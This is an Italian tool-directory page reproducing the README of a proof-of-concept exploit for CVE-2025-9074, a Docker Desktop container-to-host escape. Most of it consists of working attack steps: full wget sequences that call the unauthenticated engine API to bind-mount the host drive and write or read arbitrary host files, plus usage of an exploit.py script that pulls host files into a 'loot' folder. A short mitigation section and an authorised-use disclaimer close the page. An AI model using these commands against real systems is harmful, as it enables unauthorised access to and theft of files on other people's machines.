Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-9074 | Kitploit
Strumenti/GitHubGitHub/pucagit/cve-2025-9074
Analisi delle VulnerabilitàExploitPenetration TestingSicurezza CloudApprendimento e FormazioneEscape dal Container
GitHubpucagit/cve-2025-9074

CVE-2025-9074

Vedi Repository
2 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-9074 – Fuga completa da Docker su Docker Desktop per Windows e macOS

📌 Descrizione

Docker Desktop espone l'API interna del motore Docker all'indirizzo http://192.168.65.7:2375 a qualsiasi container in esecuzione — senza autenticazione e senza controllo degli accessi.

Poiché il motore stesso può montare il filesystem dell'host, un container può chiamare questa API per creare un nuovo container che monta tramite bind l'unità dell'host, e poi usare quel container per leggere e scrivere file arbitrari dell'host — una fuga completa da container a host.

📝 Riferimenti

  • Registrazione CVE-2025-9074
  • Note di rilascio di Docker Desktop (corretto nella 4.44.3)
  • Ricerca di Felix Boulet

🎯 Versioni interessate

  • Docker Desktop ≤ 4.44.3 su Windows e macOS

⚙️ Come funziona

  1. Raggiungi l'API. Un container in esecuzione si connette all'API del motore Docker all'indirizzo http://192.168.65.7:2375 — non sono richieste credenziali.
  2. Crea un container privilegiato. Invia una richiesta POST /containers/create con Binds: ["/mnt/host:/host_root"], montando l'unità dell'host in un nuovo container. All'interno della VM Docker il filesystem dell'host è esposto in /mnt/host (ad es. l'unità C: di Windows si trova in /mnt/host/c).
  3. Avvia il container. POST /containers/{id}/start attiva il bind mount, garantendo pieno accesso all'host.
  4. Scrivi file sull'host. Il nuovo container esegue un comando che scrive all'interno del bind mount (ad es. echo pwned > /host_root/c/test/pwn.txt).
  5. Leggi file dall'host. GET /containers/{id}/archive?path=... restituisce in streaming qualsiasi percorso dell'host come archivio TAR — senza bisogno di una shell.

🧪 Configurazione del laboratorio

Requisiti

  • Docker Desktop antecedente alla 4.44.3 (Windows o macOS)
  • Un container attaccante che possa raggiungere l'API interna (qualsiasi container può farlo)

Prepara i dati di test (Windows)

Crea C:\test\readme.txt con del contenuto di esempio, così la demo di lettura ha un obiettivo.

poc 1

Avvia un container attaccante

root@kitploit:~
docker run -it --rm alpine /bin/sh

Tutti i passaggi manuali seguenti vengono eseguiti all'interno di questo container (alpine include wget). Imposta una variabile di shell per l'API per mantenere i comandi brevi:

root@kitploit:~
API=http://192.168.65.7:2375

✍️ Riproduzione — SCRITTURA sull'host

Obiettivo: creare C:\test\pwn.txt sull'host dall'interno di un container.

root@kitploit:~
# 1. Create a container that mounts the host C: drive and writes a file into it.
wget -q -O create.json \
  --header='Content-Type: application/json' \
  --post-data='{"Image":"alpine","Cmd":["sh","-c","echo pwned > /host_root/c/test/pwn.txt"],"HostConfig":{"Binds":["/mnt/host:/host_root"]}}' \
  $API/containers/create

# 2. Extract the new container ID from the JSON response.
cid=$(cut -d'"' -f4 create.json)

# 3. Start it — the command runs and writes the file to the host.
wget -q -O - --post-data='' $API/containers/$cid/start

Cosa è successo:

  • Binds: /mnt/host:/host_root monta le unità dell'host nel nuovo container.
  • Il comando del container scrive pwned in C:\test\pwn.txt (/host_root/c/test/pwn.txt).
  • Non sono mai state richieste credenziali.

Risultato atteso: C:\test\pwn.txt ora esiste sull'host.

poc 2


📖 Riproduzione — LETTURA dall'host

Obiettivo: leggere C:\test\readme.txt dall'host dall'interno di un container.

root@kitploit:~
# 1. Create + start a container with the host drive mounted (kept alive briefly).
wget -q -O create.json \
  --header='Content-Type: application/json' \
  --post-data='{"Image":"alpine","Cmd":["sleep","30"],"HostConfig":{"Binds":["/mnt/host:/host_root"]}}' \
  $API/containers/create
cid=$(cut -d'"' -f4 create.json)
wget -q -O - --post-data='' $API/containers/$cid/start

# 2. Ask the engine for a TAR archive of the host directory, then extract it.
wget -q -O test.tar "$API/containers/$cid/archive?path=/host_root/c/test"
tar -xvf test.tar
cat test/readme.txt

Cosa è successo:

  • Lo stesso bind mount espone l'unità dell'host al nuovo container in modo favorevole alla lettura.
  • GET /containers/{id}/archive?path=... restituisce in streaming qualsiasi percorso dell'host come TAR — nessuna shell necessaria.
  • L'estrazione dell'archivio rivela il contenuto dei file dell'host.

Risultato atteso: viene stampato il contenuto di C:\test\readme.txt.

poc 3


🤖 Sfruttamento automatizzato — exploit.py

exploit.py automatizza entrambi i flussi. Usa solo la libreria standard di Python, rileva automaticamente il mount dell'host (Windows /mnt/host/c rispetto a macOS/Linux /), e traduce per te i percorsi nativi dell'host.

L'API interna (192.168.65.7:2375) è raggiungibile solo dall'interno di un container, quindi esegui lo script in un container che abbia Python:

root@kitploit:~
# From the repo directory on the host:
docker run --rm -it -v "${PWD}:/x" python:3-alpine python /x/exploit.py info

Su Windows PowerShell usa -v "${PWD}:/x"; su cmd.exe usa -v "%cd%:/x".

Verifica l'accesso

root@kitploit:~
python /x/exploit.py info

Esegue un ping all'API, rileva il sistema operativo dell'host ed elenca le voci di livello superiore del mount dell'host.

Scrivi un file sull'host

root@kitploit:~
# Windows host
python /x/exploit.py write 'C:\test\pwn.txt' --content 'pwned via CVE-2025-9074'

# macOS/Linux host (or pipe content via stdin)
echo "pwned" | python /x/exploit.py write /tmp/pwn.txt

Leggi un file dall'host

root@kitploit:~
# Print to stdout
python /x/exploit.py read 'C:\test\readme.txt'

# Or extract (file or whole directory) into ./loot
python /x/exploit.py read 'C:\test' --out ./loot

Flag utili


🛡️ Mitigazione

  • Aggiorna Docker Desktop alla versione ≥ 4.44.3 su Windows e macOS.
  • Non eseguire immagini non attendibili; l'API non patchata è raggiungibile da qualsiasi container.

⚠️ Avvertenza

Questo PoC è solo per test autorizzati, formazione e ricerca. L'autore non si assume alcuna responsabilità per un uso improprio. Eseguilo solo su sistemi di tua proprietà o per cui sei autorizzato a fare test.


🙏 Attribuzione

Questo PoC e il README sono derivati dalla ricerca di Felix Boulet. Tutto il merito della scoperta e dell'analisi originali va all'autore originale.


📜 Licenza

Questo progetto è concesso in licenza con la Licenza MIT.

Scarica lo strumento
FlagScopo
--api URLSostituisce l'endpoint API (predefinito http://192.168.65.7:2375)
--image NAMEImmagine per il container di sfruttamento (predefinita alpine, scaricata automaticamente se mancante)
--vm-mount PATHSalta il rilevamento automatico e forza il mount dell'host nella VM (ad es. /mnt/host o /)